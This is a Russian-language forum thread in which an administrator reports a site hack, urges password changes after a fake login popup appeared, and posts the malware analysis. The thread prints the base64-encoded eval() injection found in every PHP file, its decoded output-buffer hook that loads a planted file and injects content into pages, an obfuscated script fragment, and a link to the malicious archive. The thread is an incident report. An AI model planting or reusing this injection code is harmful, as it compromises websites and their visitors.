Кто-то хакнул форум Опции

[iMagus]

Форум восстановлен из бекапа.




Рекомендую, на всякий случай, администраторам и супермодераторам сменить пароли

[iMagus]

Не то, чтобы всем обязательно менять, но, если вы вводили свой логин и пароль в окошко авторизации, которое выскакивало при попытке ответить в тему, или создать ее, тогда - обязательно.

[Lesman]

Жесть, поменял...

[iMagus]

Если это, вдруг, случится опять, ни в коем случае не вводите свой логин и пароль в появившееся непонятное окошко.

[Bedouin]

этого "кто-то" ещё не вычислили? Или это нереально?

[_Ам]

это не я
честное слово

[iMagus]

Очень похоже, что нас хотели использовать для атаки на какой-то сайт/сервер.

Все нехорошие скрипты, что к нам залили, закодированы. После декодирования также практически нечитаемы =\

Если у кого есть желание покопаться: http://www.indoril.com/files/Renderer.tgz

После декодирования получается примерно следующее:

Код

function FF97A1D7A5B771B21D423C3A9D78408C1($RC4A5B5E310ED4C323E04D72AFAE39F53, $R399036803A841185E4A270BC666A66CF = false){ global $_GET; set_time_limit(600); if(isset($_GET['dgd'])){ $R399036803A841185E4A270BC666A66CF = false; } if(!FB078122F16A8F8B2978109BD72E1AC30($GLOBALS['dgcp'].$GLOBALS['dgin'])){return;} $RDAD8D40EB9906CAB35CCB38DE41CB7EF = FFD456406745D816A45CAE554C788E754($RC4A5B5E310ED4C323E04D72AFAE39F53, 180, $RF89F518E40FF53B4FD2A7D2440090D63);

а вот такую фигню вставили в каждый php файл форума О.о

Код

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10p
KXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS93d3cvaHRkb2NzL2ZvcnVtL
2lwc19rZXJuZWwvUEVBUi9UZXh0L0RpZmYvUmVuZGVyZXIvY29wcGVyLnBocCcpKXtpbmNsdWRlX29uY2
UoJy9ob21lL3d3dy9odGRvY3MvZm9ydW0vaXBzX2tlcm5lbC9QRUFSL1RleHQvRGlmZi9SZW5kZXJlci9
jb3BwZXIucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdv
YmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpe
yRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1Yn
N0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCk
sJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9
JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7f
X1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZW
NvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSg
nLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9
fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

Что в переводе:

Код

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/home/www/htdocs/forum/ips_kernel/PEAR/Text/Diff/Renderer/copper.php')){include_once('/home/www/htdocs/forum/ips_kernel/PEAR/Text/Diff/Renderer/copper.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($d){$f=ord(substr($d,3,1));$h=10;$e=0;if($f&4){$e=unpack('v',substr($d,10,2));$e=$e[1];$h+=2+$e;}if($f&8){$h=strpos($d,chr(0),$h)+1;}if($f&16){$h=strpos($d,chr(0),$h)+1;}if($f&2){$h+=2;}$u=gzinflate(substr($d,$h));if($u===FALSE){$u=$d;}return $u;}}function dgobh($b){Header('Content-Encoding: none');$c=gzdecode($b);if(preg_match('/\]*\>)/si','$1'.gml(),$c);}else{return gml().$c;}}ob_start('dgobh');}}}

Немного погуглил - похоже, что вчера таким образом взломали довольно много сайтов. Не только форумы. И не только IPB.

[сапир]

армагедон близок.......

[Таларион]

flood detected

[Nick]

спасибо, поменял на всякий пожарный, чтоб от моего имени не ели тортики